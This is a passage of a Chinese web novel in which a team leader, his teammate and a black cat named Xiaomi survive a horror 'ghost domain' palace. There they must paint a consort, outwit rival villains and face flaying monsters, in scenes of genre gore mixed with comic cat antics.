匕首刺中他的眼珠子, 一只手从窗中伸出,抓起他的衣领,把他拽了进来。 夏炫也翻身跑下床,还想奚落这人两句,看见萧向秦丢在地上的东西后,脸色大变。 这玩意不是人也不是鬼,而是一个纸人。纸人是童男的模样,脸颊画着两团鲜亮的腮红,弯着眼睛朝他们笑,只是它的一只眼睛被捅破了,半边脸被血糊满,咧开的嘴角还沾着几根漆黑猫毛。 “这不是宫殿吗?怎么冒出来纸人?” 萧向秦点把火,把纸人烧干净,说:“恐怕是别人从外面带回来的。你记得吗?深渊里有一名骨干,能力和操纵偶人相关。” “操偶师。”夏炫咬着牙,“就是那个喜欢剥掉别人皮,制成纸人木偶的混蛋?我记得他犯过不少凶案,有一次还把一家四口人的皮全给剥了,最小的孩子只有三岁。” “王绍远和深渊有勾结,这些疯子出现在其中不奇怪。”萧向秦抱起小咪,顺手拉起油灯,放在床边圆几上,“他们拥有污染物这么久,对其中规则比我们更熟,既然他们想要吹灭这盏灯,说明灭灯才会触发死路。” “那队长,我们该怎么办?” 萧向秦:“睡觉。” “就这么睡吗?”夏炫回头一看,队长已经闭上眼睛睡熟了,倒是他怀里的小猫爬了起来,依旧精神抖擞。 “不要乱跑。”他小声对猫说。 小咪玩着自己的尾巴,敷衍喵一声回应。 没多久,房中两个人类都进入梦乡。小咪趴在萧向秦的腿侧,下巴搁在后爪上,眼睛半眯,耳朵支棱,机警地听着四面八方的动静。 在危险的环境中,猫是不会让自己睡太死的,两个人类都睡了,猫自觉担任守夜者的职责。 没多久,小咪听见了奇怪的声音。 像是衣袍窸窸窣窣在地上拖动,又像是一条拥有无数须足的虫子爬动。 窸窸窣窣。 那声音越来越近,越来越近。 小咪察觉到危险,身体绷紧,紧张地咬住自己的尾巴。它没有听见门窗推开的声音,却清楚地感知到外面的东西钻进了房间,在房中游走。 像塑料纸揉搓的声音在猫敏感的耳朵里炸开,它察觉到了危险,那是比死亡与鬼怪更可怕的存在。 它极其有压迫感,紧贴着小咪的身体,缠绕在猫的身上,勒开它的血肉,把寒冷带进它的血液里。 小咪更用力地咬着尾巴,身体轻轻发抖,尾巴毛控制不住地蓬松炸开。 这显然引起那无形之物的注意。它更用力缠上来,像蟒蛇一样,绞紧小猫的身体,要将猫吞入腹中。 小咪全身的毛都竖了起来,变成一颗漆黑的海胆。 这时,一只手搭在了它的后背,温热的手掌赶走了冻僵血液的严寒。 萧向秦睡梦中翻了个身,把小猫揽在怀中,同时也将那东西注意力吸引走。它放开了小猫,缠在男人身上,许久,见他一直没有动静,才转身离开,去往另外一个房间。 “窸窸窣窣。” 声音逐渐远去。 小咪松开嘴里的尾巴,打算歪头蹭蹭人的手指,但尾巴尖只是稍动了一下,就有一道阴寒的视线聚在它的身上。 那东西一直没走,就在不远静静观察他们,它又过来,脸贴着小猫,又过许久,才真正离开。 经过这么一番,小咪是真的困了,枕着人的手臂睡着了,迷迷糊糊睡到了早上,猫的耳朵动了动,听见隔壁响起一声惨叫。 夏炫冲出去看,没多久回来给他们说:“死了一个画师,就昨天骂我们奴才的那个。” 死的是那位年轻的画师,名字叫孙良言。他死得很惨,脑袋也摘掉,四肢拆解,皮也被剥去,像截血淋淋的木棍躺在被子里。 但他手下的两位随从却毫发无损,睡到了天亮。等他们做完活,见公子久久未醒,掀开被子呼唤,才发现孙良言变成了一截人棍。 一个当场吓晕,一个吓得有些痴傻。 趁着没人注意,夏炫顺手把孙良言的包裹拿出来,打开一看,里面果然有纸笔颜料。 “太好了,不用愁材料了。” 包裹中的画纸颜色枯黄,不知是什么材质制成。他想到这些东西可能是人皮制的,连忙把包裹皮给折好,“萧队,孙良言是怎么死的,吹灭了油灯吗?” 小咪:“喵——” 猫知道,是被那个东西杀死的。 萧向秦摸摸猫头,“咪咪说得对。” 夏炫满头问号,“啥?咪咪说什么了,你们怎么突然心有灵犀了!” “昨天晚上有东西进来了,你没感觉到吗?” 夏炫挠头,“哎?我睡着了。” 萧向秦:“那两个幸存的侍从也是睡着了,所以幸免于难。你把包裹重新放回去。” 夏炫不解地看着他,“等会画画我们的材料怎么办呢?” “不急。” 小咪用爪爪洗洗脸,认真清洁自己的毛发,见两个人都走了出去,它纵身一跳,跳到萧向秦的肩膀上。 萧向秦和夏炫藏在一棵树后,借着敞开的窗户,观察房间里的情况。 书童的惨叫引来不少人,房中人来人往,众人表情黯淡恐惧。但只有一个人,悄无声息靠近了窗边,拿起包裹,塞进自己宽大的衣袍中。 夏炫心里哇了一声,没想到又被队长说中了。既然王绍远他们想用鬼域害死他们,就不会希望他们拿到材料,肯定会赶在他们之前,抢先将包裹拿走。 偷包裹的也是一位画师。就在他转身准备离开时,却被两个人堵住了门。 他面色微变,“两个奴才,还不快让开!” 夏炫挽起了袖子,袖角上卷,露出修长而有有力的小臂,冷笑,“奴才?你过来,我让你感受一下什么叫富强民主文明和谐,什么叫自由平等公正法治。” 偷走包裹的是那位身形佝偻的老头。 一想到昨天被他骂了好几次,夏炫就气不打一处来,一脚把他踢翻,在他驼背上踹几脚,“昨天就是你偷害我们吧?” 老头大声喊救命,可孙良言的死刺激到其他人,听见他的呼喊,本来还打开的门窗纷纷合拢。 “好家伙,你装起老古董来味还挺对。” 小咪也加入痛扁老人的队伍,跳到他的脸上,使劲咬老头本就稀疏的头发。 “你们不能打我,之前公公说了,不能殴打画师。” 夏炫动作一顿,扒开他的衣服,把包裹翻了出来,又跑到他的房间搜查一圈,没看见书童,只见了一个纸人软趴趴倒在地上。 “王绍远在哪里?”萧向秦问。 操偶师扭过脸,冷哼一声。 萧向秦从夏炫手上接过包裹,“你知道没有材料的画师,会遇到什么事。” 操偶师表情变了变,抿紧嘴角。 萧向秦:“你想等一会和公公举报,说我们偷了你的包裹,是吧?”地上的影子爬了起来,凝成一把漆黑冲锋枪,枪管前段浮着密密麻麻黑洞洞的枪口。 他举起枪,成千上万的枪口对准操偶师。 操偶师面孔苍白,身体僵硬,喃喃:“鬼域有规则,你不能杀我……” “我不用杀你,”他只是将枪口往下移,对准那个包裹,“只用毁掉一个包裹。” 操偶师皱紧眉,意识到后果。 如果材料被毁,他进宫殿作画拿不出纸笔,会被宫中恶鬼剥掉人皮,挤出颜料。而且它们还喜欢活生生地将人给剥皮挤血,就算画师被剥掉皮,一定得是挤出最后一滴血才能咽气,那经历真是生不如死。 “王绍远在陛下身边。”操偶师松了口,“只有到最后一天的时候,陛下来看完成的画作时,你们才能见到他。” 这时,一位白面公公来到了门口,“诸位画师准备好了吗?咱家带你们去作画。” 萧向秦移开枪,转身就走。 操偶师连忙抱住包裹,打开包袱皮,匆匆瞥一眼,确认东西还在后,才松了口气,跟在了公公的身后。 小咪跑到公公脚边,歪头打量着他。 这位公公不是昨天那个接引人,也没有昨天的青年俊美。他大约三十来岁,背总弓着,白面无须,低眉顺眼,嗓音尖锐。 “哟,怎么有一只猫?”公公抬脚想把小咪踢走。 “喵!”小咪跳起来,给他鞋子一巴掌,跑回到夏炫身边。 “公公,这是我们的画师。” 公公怔了片刻,接受这种奇怪的设定,点头,“哦,原来是画师。请画师们随我去长春宫,娘娘正在等着你们。” 萧向秦问:“公公,昨日来接我们的那位大人呢?” 公公奇怪地看他一眼,“什么大人?” 夏炫:“就是那位长得很好看的年轻公公,昨天是他带着我们入宫的。” “咱家不认识他!” 公公尖着嗓子不耐烦说一句,头一扭,不再搭理他们,带着这群画师们去长春宫前。 小咪跟着走了一小段路就累了,喵喵叫着要人抱。它趴在青年的肩膀上,圆脑袋转来转去,好奇地打量周围。 公公身后带着一长串人,数量比昨天要更多,宛若一条长蛇。他们在宫墙之间没走多远,就来到一座宫殿前。 比起他们现代看惯的摩天大楼,眼前这座宫殿显得娇小朴素,宫殿外挂牌匾,书“长春宫”三字。 小咪认真看着宫殿,朝夏炫叫:“喵喵喵。” 比室友的公寓矮,猫能跳上去。 夏炫揉着小咪的脑袋,一手环住它的身体,“好好好,不用怕,我们会陪着你进去的。” 小咪:“喵喵喵!” 猫能跳上去,猫能跳到房顶上去! 夏炫怜惜地摸着小猫,对萧向秦说:“看来咪咪是吓坏了,唉,鬼域对小猫咪还是太可怕了。” 小咪气得用肉垫拍拍他的脸,跳到了另一个铲屎官的怀里,大声叫:“喵喵喵啊——” 猫才不怕。 猫能像爬树一样爬到房子上面去! 它想爬上去给人示范一下,却被萧向秦环住了身体,被有力的手臂禁锢在人类宽阔坚硬的怀中。 小咪扒拉着人的手臂,垮起了小猫脸,尾巴不快地甩来甩去。 “诸位在此稍后,依次进入殿内。” 公公让他们排好队,他们的位置在中间。夏炫试图在排队等待的过程中找到点线索,可和别的画师一开口说话,公公便沉着脸望过来,说:“娘娘不喜喧哗。” 无奈,他们只好静静排队。 公公在铜炉中点了一炷香,香燃烧之前,画师便表情古怪地从殿内走出来。若是香焚烧燃尽,画师还没走出,他也不会等待,尖着嗓子喊下一个画师进去作画。 等轮到小咪时,正是晌午,日头高照。 萧向秦抬头,看着天空中的太阳,明亮的日光让他微微眯了下眼睛。 “小猫画师请进。”公公尖声喊。 “喵啊!”小咪早就等得无聊了,从人身上跳下去,像小马驹一样跑向宫殿。 长寿宫门前有一道门槛,它翻身跳过门槛,还回头喵喵叫几声,提醒人不要被门槛绊倒了。 小咪转头,就好像扑入一片昏暗黏稠的水域里。 殿内很黑,烧着很重的香。小咪被香气呛得连打了几个喷嚏。 夏炫心疼地把它抱起来,虚虚捂住小猫的鼻子。 “喵呜。”小咪被熏得伸出舌头喘气,但熏了一会,它又在浓烈的熏香中闻见一股奇怪的味道。 淡淡的臭味夹在香气中,就像猫砂里细碎的尿团,不大,存在感却很强。 熏这么浓的香气,就是为了遮掩这个臭味吗? 小咪想起室友买香气飘飘的猫砂,就是为了掩盖猫尿团的气味。 就在一人一猫被香气熏时,萧向秦已经独自越过帷幕,走入宫殿深处。在宫殿最里面,有一面竖起的屏风,昏黄光线蒙蒙从屏风后洒来,映出一位女子端坐的身影。 “你不是画师。”冰冷的声音从头顶传来。 萧向秦仰起头,往上看。 一张惨白的脸低垂着,面无表情地看着他。 屏风两侧分别站着一位宫女。她们有三四米那样高,身形瘦长,像是团被拉长的死面,又像是苍白的蛇,从血红交领探出一个扭曲变形的脑袋。 说话的大宫女脸上毫无血色,死死瞪着地上的人。 萧向秦:“我是画师的侍卫。” “画师呢?”另一位宫女开口。 萧向秦看向后面,喊:“咪咪。” 垂地的帷幕动了一下,丝绸包裹起一团小小的隆起。小咪一头撞进帷幕里,被丝绸卷起来,急得喵喵叫。 夏炫连忙把小猫画师解救出来,小咪又对这片暗红帷幕产生兴趣,蹭蹭蹭爬了上去,指甲成功在昂贵的丝绸上留下一串痕迹。 夏炫看着被小猫指甲勾出的丝,把帷幕扯了扯,心虚至极地掩饰一下,再一抬头,小咪已经顺着帷幕,爬到了横梁之上。 “喵——” 小咪趴在横梁,低头朝他们叫。 猫就说了,猫能爬上来。 它顺着横梁往里面爬,爬到宫殿深处,对上宫女那张惨白诡异的脸。 小咪歪了歪脑袋,“喵呜?” 猫发现一个大问题,横梁很高又很窄,没办法直接跳下去,也不好转身。猫喜欢往上爬,但不喜欢往下爬。 “喵!”它理直气壮地朝宫女叫。 人,快把猫抱下来。 萧向秦:“这是我们的画师。” 宫女伸出手,停在房梁边,她的手比普通人要大很多,像一片宽大的蒲扇,恰好能装下一只小猫。 小咪跳到她的掌心,盘坐在宫女的掌心,歪头蹭蹭她的手掌。 宫女的肌肤冰凉刺骨,让猫不由自主地抖了几下。她把小咪放在地上后,小咪毫不留恋地跳了下来,回到自己人类铲屎官的脚边。 “请画师作画。” 宫女俯视着他们,面无表情地说。 萧向秦:“我们能不能代替画师作画?” “不可。”宫女声音冰凉,“画师必须在屏风七步外作画,必须准备好纸笔颜料,每一日,只能画下娘娘的一肢,一共分左手、右手、左足、右足、躯干、头颅,六日完成。” 夏炫心里咯噔一声,哪有这样画画的? 宫女像蛇一样弯下身体,苍白硕大的鬼脸看着他们,“你们准备好了纸笔颜料吗?” 另外一个宫女说:“若没有准备,我们可以为你制作材料。画师只需要送出一名书童。” 夏炫恍然大悟,难怪大部分画师进来后,都安全地走出来,只是旁边少了个书童。原来他们是把自己的书童送出来,看着他被怪物剥皮抽骨榨血,才拿到了绘画材料。 “喵。”小咪朝着宫女大声叫。 猫才不会献祭自己的人! “我们准备了材料。”夏炫打开了包裹。 宫女鬼火般的双眸扫过包袱里的东西,幽幽叹口气,“那便请画师作画吧。” 小咪跳到画纸上,优雅地抬起一只前爪,“喵。” 人,快为猫研磨颜料。 第63章 夏炫打开操偶师的包袱——他觉得孙良言准备的材料或许不符合鬼域的规定, 但操偶师这个杀人如麻的混蛋玩意,包裹里多的是这种人皮制品,也一定为了鬼域做完全的准备。 事实上他猜的不错。不是每一个画师都准备齐全了, 只是这些画师可以献祭自己身边的书童侍从来获得新的颜料。 他拿出一块红色的颜料块,用研钵与研杵细细磨成粉,鲜艳的红色在研钵里漫开, 淡淡的腥味飘入鼻尖。 萧向秦询问:“能不能撤掉屏风,如果没有看见娘娘,画师该怎么作画?” 宫女转身,对着屏风内的人影低语,片刻后,她恭敬地从屏风后拿出一截手臂,放在了屏风外。 洁白如雪的皓腕放在屏风外的长桌上,五根尖尖指甲染着红蔻丹,鲜红欲滴。 夏炫盯着那截骨肉匀停的手臂,看得出了神,这截断臂很白,又不是像宫女这种毫无血色渗人的白,而是透着白玉一样柔和的光彩,像白蜡雕成。 很美。 那屏风后的娘娘现在是什么样?断臂维纳斯吗? 夏炫想得出神,收回目光偶然一瞥, 发现画纸上多了一朵鲜红的梅花。 小咪早就等不及了, 把爪爪伸进研磨里, 沾上颜料, 认真在画纸留下自己的爪印。 红梅花在小猫的爪下绽开。 一朵两朵三四朵,五朵六朵七八朵。 小咪仰起头,像在爷爷家一样, 熟练地为画纸填上自己的图案。 夏炫的心凉了半截,“咪咪……” 他张口又不知道该说什么,总不能真叫小猫咪画一张美人图出来吧。 他抬头看向宫女。 三四米的恐怖女人煞白着脸,死死瞪着他们。 冰冷的汗珠顺着青年的脸颊往下淌,一对上宫女毫无感情像两颗死鱼眼珠一样外翻的双目,他的心底不由自主地攀上一股寒意。 宫女看着画作,嘴角上扬,一直往上裂开,露出一排锯齿般森白的牙齿,齿上还缠着一块血淋淋的头皮,漆黑发丝缠在舌齿间。 夏炫突然明白:难怪一炷香后,有的画师没有走出来,原来是被这两个怪物吃掉了。 他心头寒意更甚,袖子却被扯了扯,低头一看,小猫咬住了他的袖子,在那拔河。 “喵——”小咪抬起脸,期待地看着人,“喵!” 猫画完了。 小咪画得很认真,十朵梅花排列均匀,在画卷肆意开放。它嫌弃爪子弄脏,甩了甩爪子,剩下的颜料溅开,像喷洒的血液。 就像谋杀现场一样。 夏炫心里忍不住吐槽,抬头往上瞥,看见宫女在用紫红的舌头舔自己牙齿,连忙把画作给卷了起来,就怕怪物看见画按捺不住,等不到六天,就直接把他们这些灵魂画师给吃了。 “喵!”小咪转过身,朝着宫女响亮地叫。 萧向秦:“我们画完了。” 舔牙齿的宫女涎水往下面滴,掺杂皮肉碎屑的液体在地上汇成小水泊。 “喵喵——”小咪拖长了声音,眼神期待,希望得到夸奖。在家里时,猫只用按一朵梅花,爷爷就会抱着它狂夸,文化人夸起猫来跟不要命了似的,洋洋洒洒能说上半个小时。 “福娃怎么这么厉害,画得这么好啊!真是猫也画无敌,飘然思不群,现在好多人都喜欢你的画,我把它发到网上,好多人点赞呢。劝猫更进一杯酒,天下何人不识猫!” 现在猫画了足足十朵梅花! 宫女嘻嘻笑了起来,声音很渗人,“你们就是这样画的啊……”她的身体像蛇一样弯曲,冰冷的面孔贴着小猫,寒气冻得猫用母鸡蹲的方式趴下来,身体压着爪爪,减少热量的消耗。 “既然画成这样,反正最后会被陛下处死,不如先喂饱我,我的肚子好饿啊,好饿啊。” 她喃喃喊着饿,张开裂至脸颊的大嘴,能将猫带着整张桌子一起吞下,锋利锯齿瞬间便能绞碎一切。 夏炫身体绷紧,紧张地握紧污染物,想要马上出手,偏头看眼队长,征求他的意见。 萧向秦轻轻摇头。 宫女只差一点就能将猫一头吞下时,动作却凝滞了。小猫主动跑到桌边,抬起头,蹭着她冰冷的下巴。 小猫柔软滚热的毛发贴在阴凉的肌肤上,摇晃脑袋,从快要裂开的下巴左边蹭到右边,再静静用头顶抵住她的脸,“喵呜。” 猫可以抓耗子给你吃。 夏炫揉了揉眼睛,不可置信地看着这个狰狞恐怖的宫女慢慢闭上了嘴巴。 和猫贴贴半晌,直到外面响起公公尖锐的嗓音,她才直起身体,“陛下不会满意的。” 另外一位宫女双手抄在长袖中,面无表情重复:“陛下无论如何都不会满意的。” “陛下永远不会满意的。” “陛下永远永远不会满意的。” ———— 两个人抱着猫往外走,没出宫殿,一位画师带着自己的三名书童走了进来,被他们吓了一跳。 小咪扒着人的手臂,歪头,目送画师和几个书童进入垂地的血红帘幕。 走出殿门,阳光刺得猫瞳孔缩成枣核一样小小的一条细线。公公抄手垂着头,“哎呀,你们怎么这么快就出来了?” 他扭头,看见走出来的是小猫,吓了一跳,“怎么是你们?” 小咪:“喵——” 就是喵。 公公甩甩拂尘,“明日要快一些,莫要这样迟了,你看,你们都占了别人的时间。” 夏炫笑嘻嘻地说:“我们画师画得比较精细,”他拿起小咪的前爪给他看,“手都被颜料弄脏了,是认认真真画的,慢工出细活嘛,这样才能画出让陛下娘娘满意的画作。” 公公愠色稍减,“伶牙俐齿。” 两个人就打算脱离队伍,去宫中其他地方寻找线索,没走几步,又被公公喊住了。 公公用拂尘指着另外一块坪地,“你们都在那等着,不要乱跑,免得冲撞到了贵人,待到黄昏,咱家再带你们回丹青苑。” “难道我们的行程只能在丹青苑和长春宫之间来回?不能去其他地方?”夏炫小声说。 萧向秦:“你去向公公问一问线索。” 夏炫:“好咧。” 萧向秦抱着猫,看眼人群中的操偶师。操偶师本就警惕,防备着他们,看见他淡淡瞥来的目光,身体绷紧,大手伸入口袋,以为他马上就要动手。 但萧向秦只是望了他一眼,就带小猫离开了排队长龙,回到那一群画完图的画师之中。 操偶师擦了擦冷汗,松口气,就算萧向秦再强,也不敢蔑视鬼域法则,当着npc动手。 愚公小队的队长也不过如此。 等一等。 对方是不是故意的? 他连忙打开自己的包裹,这是孙良言的包裹,里面纸张颜料笔砚一应俱全。拿起纸笔,在鼻腔嗅嗅,虽没自己的那包新鲜,也足以应付这次画了。 愚公小队会这么轻易放过他? 他低头又仔细查看,在画纸边缘有一方小缺角,颜料块里几点黑豆般的污渍。这肯定是他们做的手脚,虽细微,足以让他过不了关。 差点着了他们的道。 操偶师拎着手里的包裹,包裹沉甸甸的,如有万钧之重。他的目光闪动,在排队画师中逡巡,选中自己的猎物。 那是个年轻的画师,孤零零一个人,身边没有书童随从,自然也无人帮他看梢。他等得有点累了,百无聊赖地抬头看天,包裹就放在脚边。 操偶师运用能力,悄无声息地换了包裹,提着手里这袋,心里安稳多了。就算他们在孙良言的包裹里动什么手脚也没关系,他可以现场偷另外一个人的包裹。 正好轮到了他,他来不及检查,匆匆走入宫殿里。 没多久,一声惨叫响起,殿门猛地被撞开,他重新跑出,直奔人群而来。 “喵呜?” 小咪蹲在人的头顶梳毛,听见声音,歪了歪脑袋,好奇地看着越来越近的人影。 画师们纷纷跑远,表情惊惧。 操偶师全身的皮都被剥了干净,变成一截粉红的肉,肚腹黄色的脂肪挂在肉上,随着他的呼吸而颤动。他的血也被挤得七七八八,一路跑过来,只在地上留下几点暗红如锈的红褐。 “你动了什么手脚!你动了什么手脚!” 会动的血人朝着萧向秦怒吼,剥皮后的喉咙里发出沙哑的声音。 萧向秦头上顶着一只猫,泰然回答:“你自己调换的包裹,不是吗?” 操偶师回头,那青年提着包袱,挤在人群里,懵懵懂懂地看着他。在这堆准备齐全的画师里,就这个年轻人是个什么都不明白的二愣子,居然真的只在包袱里放些狼毫笔普通宣纸。 他气得胸口剧烈起伏,粉红筋膜上又渗出点点血液,影子化作一个大头木偶,飞快冲向萧向秦。 但公公已经走下了台阶,一挥手,他的头便飞了出去。 被剥去人皮血肉模糊的脑袋在空中飞舞时还未死去,恶狠狠盯着人和猫,“别以为你们赢了,你们早就输了!从一开始就输了!” 夏炫拍拍胸口,朝小咪伸出手,“咪咪,吓坏了吧,我来安抚一下你。” 小咪一点都不害怕,但它知道,是人需要猫的抱抱。它跳到夏炫的怀里,青年马上用双臂环住猫,脸贴在小咪柔软的肚子上,深吸一口气。 “啊,有猫猫在,鬼域也没那么可怕了。” “喵呜。” “咪咪,别咬我头发!” 夏炫把小猫扯了下来,不经意间,发现公公在看着他们。准确来说,是看着他手里的这只小猫。 这位公公脾气比第一天那位要古怪很多,刚才他试着和他搭话,被公公骂得狗血淋头。 抱着怀里的猫,夏炫决定再试一次。 “大人……”他塞过去两颗透明珠子,还没开口说话,怀里小猫纵身起跳,跳到了公公的肩膀上。 公公头上带着个蓝顶小帽,帽上缀着两个垂下的绒球。 小咪伸出爪爪,扒拉着晃动的绒球,公公哎哟哎哟叫了起来,捂着脸,大喊:“别抓到我的眼睛,别挠花了我的脸。” 夏炫伸手想把小咪抱下来,“咪咪快过来。” 小咪灵活地一个跳跃,踩着公公的脑袋,跳到他的另一边肩膀。 夏炫脑袋都大了,公公“哎呀哎呀”在叫,比起刚才要生动多了。如果公公有好感度,对他们的好感肯定在蹭蹭蹭往下降。 画师们都围在旁边笑嘻嘻看戏,操偶师没皮的尸体就躺在地上,但似乎所有人都无视了他。 夏炫余光扫过人群,没有看见自己队长,本来想把小咪抱下来的手一顿,改在它屁股上戳了下,大喊:“公公不要怕,我来救你啦。” 这是小咪和人之间常玩的游戏。 小咪马上领会到他的意思,兴奋地瞪圆猫儿眼,“喵”了声,一下子蹿到公公的脑袋上,把公公的身体当成沙发,衣袍当作窗帘,在他身体上蹿下跳,跑来跑去。 等萧向秦重新回到人群里,小咪才放过公公,跳到夏炫的手上。 夏炫邀功道:“公公,我把它抓住了!” 公公身上的衣服被猫勾出丝,头上的帽子也歪了,两个小绒球上沾满了猫的口水。他被夏炫搀着,慢悠悠地在团椅坐下,骂:“这只小畜生,好生厉害。” 夏炫听着有些不开心了。说咪咪厉害可以,怎么能骂它是畜生呢? 公公又叹:“这么活泼,一定能抓很多耗子。” “喵呜。”小咪囔囔叫唤。 “最近宫里一直在闹耗灾,耗子咬破衣服,偷吃粮食,”公公垂眸看着油光发亮的小黑猫,“咱家几件袄子都被这群畜生弄坏了。” 夏炫:“我们家画师愿意为公公抓老鼠。” 小咪一听见有老鼠抓,马上坐直身体,响亮回答:“喵!” 公公扶正自己的帽子,表情微霁。 夏炫又问:“公公,昨天晚上来丹青苑的是什么东西啊?” “不是让你们早些睡觉了嘛。”公公变了脸色,疾声厉色呵斥,“你没睡?” “睡了睡了,睡得迷迷糊糊,感觉有东西进了房间,我还以为是贼呢,但睡得太沉,没醒来,幸好第二日清点,没有丢失东西。” 公公松了口气,告诫:“就算醒来了,也千万不要动,装成睡着的样子,它就不会对你下手了。” “公公,那是什么?” 公公沉吟片刻,“是耗子。你们别管这些,好好为娘娘画画,画满六日后,自然能走出去了。” 夏炫想起画卷上的梅花爪印,讪笑着问:“只要画满六日就行了吗?陛下会来检验画作,若是他不满意呢?” “那就不是咱家管的事情了。” 夏炫又问:“公公,陛下住在哪儿呀?” “陛下去山庄打猎,要几日才能回宫。”公公睨他一眼,笑着说:“放心,若是你们画得不错,讨得陛下喜欢,自然什么都有了。” 到最后一位画师走出来,公公一甩拂尘,带着他们回到丹青苑,并且嘱咐他们不要乱跑。 夏炫试着往外走几步,发现院门外有护卫看守,只能重新走回来,关上房门。 小咪在桌子上跑来跑去,看见他,“喵”地大叫一声打招呼。 夏炫嘴角扬起,摸了摸它的头。 萧向秦拿出条白布巾,浸水打湿,走到小猫面前,拿起它的前爪,仔细把颜料擦干净。 红色在白布上晕开,小咪忍不住甩了甩爪子,几点乱飞的红溅在萧向秦的脸颊上。 把爪子上颜料洗干净后,萧向秦拿起一条干净的手帕,帮小咪把爪子擦干净。 夏炫看着这幕忍不住想笑,觉得自己家冷酷无情的队长,变成给小猫擦手的老父亲。 “队长,你刚才去哪了?” 萧向秦:“确认一件事情。” “什么事?” “我从丹青苑回到初始入宫的地点,把昨天的行程重复了一遍。” 夏炫挠了挠头,“然后咧?” 萧向秦凝视着努力舔毛的小猫,“操偶师没有在吓唬我们,这确实是个不可能完成的任务。” “喵呜?”小咪耳朵抖了抖,停下舔毛动作,爪爪也悬在半空,被人的话吸引了注意力。 “队长,这是什么意思?” “进宫的时候,有一条宫道显得特别长,我们走了很久。”萧向秦看夏炫一眼,后者点了点头,“咪咪跑出去,遇见宫女,抓了很多耗子,耗费这么多时间,等它到丹青苑时,还在我们之前,等了我们很久。” 小咪:“喵。” 猫还在树上睡了一觉。 “我记得,还有块边角有缺口的砖我觉得很眼熟……”夏炫意识到什么,瞪大了眼睛。 “今天我回来得很快,重复昨天路程时,发现并没有一条那么长的宫道。而且,今天的公公也换人了,不是昨天那一位。” 夏炫想起昨天那位接引公公,也觉得他有些奇怪了。青年的声音低而缓,像玉珠滚落,气质出众,不像是个太监,倒像是个文质彬彬的书生,今天这个细声细气嗲嗲的公公才符合他的刻板印象嘛。 萧向秦又说:“昨天天气阴,没有办法判断时间,但我推测我们应该是早上到宫中的,只是中了某种幻术,一直在那段路里转圈,到快晚上时,才被带到丹青苑里。而在本来正常的行程中,昨天我们应该去宫殿中为娘娘画画。” 夏炫面孔发白,第一天的时候他们对鬼域一无所知,没想到被人在这里摆了一道,从一开始就陷入绝境之中。 “所以,我们以为今天是第一天,其实是第二天?耽误了一天时间,六日之内,我们无论如何都不能把娘娘画出来了?” 第64章 夏炫心沉了下来。 显然, 这个任务他们完不成了。而且明天睁眼就到第三天,时间非常紧迫。 “第一天那个接引人是?” “看来他也是深渊的,能力与制造幻觉相关。”萧向秦声音顿了一下, “是个不错的对手。” “他居然能在鬼域当npc ,我还以为只要对付操偶师一个人,那现在怎么办?把他找出来?” 萧向秦摇头, “陛下在哪里?” 夏炫一怔,“陛下不是去外面打猎了吗?” 萧向秦看向在追着尾巴玩的小猫,“咪咪,你知道吗?” 小咪张嘴,咬在嘴里的尾巴飞了出来,把它吓得跳了起来。它按住自己不听话的尾巴,说:“喵喵喵——” 陛下藏了起来。 影子翻译道。 夏炫:“藏起来了?藏在哪里?” 小咪被自己的影子吸引注意力,猛地往前一扑, 扑在影子上,没功夫回答它。 萧向秦:“这个鬼域还存在另外一个区域, 只是区域对我们是关闭的, 第六日它才打开, 明王、王绍远,和第一天的那个接引人,都藏在了那里。” 夏炫依旧一头雾水,感觉自己脑袋白长这么大了,比不上一只小猫。他叹口气, “可是我们画不完画,最后一天陛下肯定不会满意。好吧,现在这样就算画满六天,也不会满意。” 他一说完, 就对上道犀利的视线。 在扑影子的小黑猫抬起脸,眼睛圆圆,气鼓鼓地看着它。小咪往前一跳,跳到青年膝盖,咬住他的虎口。 人,你对猫的画作有意见? ! 夏炫连忙求饶,“咪咪画得很好,是那个陛下不懂欣赏,有眼无珠,配不上咱们咪咪精湛的画技。” 小咪这才松开口。 夏炫的虎口被小猫的口水糊满,他把手放在鼻尖闻了一下,发出“嘿嘿”的笑声。小猫的口水,怎么也是香香的。 小咪连忙从他的身上跳下来,趴在萧向秦脚边。 萧向秦:“……你越来越变态了。” “哪有,我觉得我很正常。” 聊了一会天,门外响起“咚咚”的响声。夏炫来到门前,发现是同住在院里的中年画师陈商音,就将他放了进来。 陈商音面孔惨白,进门文绉绉地和他们拱手一拜。 夏炫笑着说:“我们两个猫画师的奴才,可受不起您这一拜。” 陈商音叹口气,“两位不要置气,你们都是高人。难怪小猫画师如此有名,连跟在身侧的随从都这样厉害,我……”他犹豫着,又朝小咪认真一拜,“猫大人可有多余的笔?” 小咪看向包裹,用脑袋拱开包袱皮,里面零零散散很多根手指,全是操偶师这个老变态收集的。 陈商音看着他们包裹里丰富的材料,羡慕道:“看来你们做了完全的准备,唉……大宫女说我的笔不合格,我的忠仆断了一条手臂,才从她们那过关,但她们说这笔明日就不能用了。” 萧向秦问:“你是寐城人?” 陈商音点头,“正是,在下在寐城颇有一些名气,若几位慷慨解囊,在下回家后定有重谢!” 小咪咬了根指笔,放在他的身前。 因这一根笔,陈商音对小猫态度十分恭敬。借着他这点谢意,他们套出不少信息。 “娘娘本来就非常人,”这些土著对皮纸指笔并不奇怪,他压低了声音,说:“传说,娘娘这么美貌,倾国倾城,连妖魔鬼怪都为之倾倒,她定不是人,是一只妖怪。” 夏炫冷笑:“又是妖妃祸国的故事,你们能不能换点新鲜的说法?” 陈商音:“说得人多了,假的也就变成了真的。” 萧向秦问:“她是什么妖怪?” 小咪:“喵喵喵?” 是小猫妖吗? 陈商音思忖片刻,低声说:“太岁妖。” 天色很快就暗了下来。陈商音起身告辞,告辞前又叮嘱他们要小心看好包裹,一个人榨出的材料只能用两日,现在不少画师开始偷别人的包裹。 夏炫躺在床上,翻来覆去左右睡不着,“萧队……” 萧向秦:“睡觉。” 这夜有惊无险地过去了。入睡前,小咪追着自己影子玩了很久,把自己玩到精疲力尽,一觉沉沉睡去,是窗外响起的惨叫,才把他从睡梦中唤醒。 孙良言的书童死在了院子里,眼睛瞪得很大,几乎要跃出眼眶,五官因惊恐而扭曲变形。 小咪趴在窗口,想,也许他晚上也没有睡着,才被那个东西抓住了。 而孙良言的另外一个书童早就被吓得痴痴傻傻,跟在一个生面孔画师的后面,看见昔日伙伴尸体,表情也呆呆的。 其他画师怯怯私语,眼神奇怪地盯着他。在宫中,活的书童就意味着颜料纸笔,看见书童被抢,不少人心里懊悔,没早点把这头肥羊带走。 小咪目光在那位年轻画师的脸上多留了一会。 画师感觉很敏锐,注意到猫的视线,朝它弯了弯嘴角。 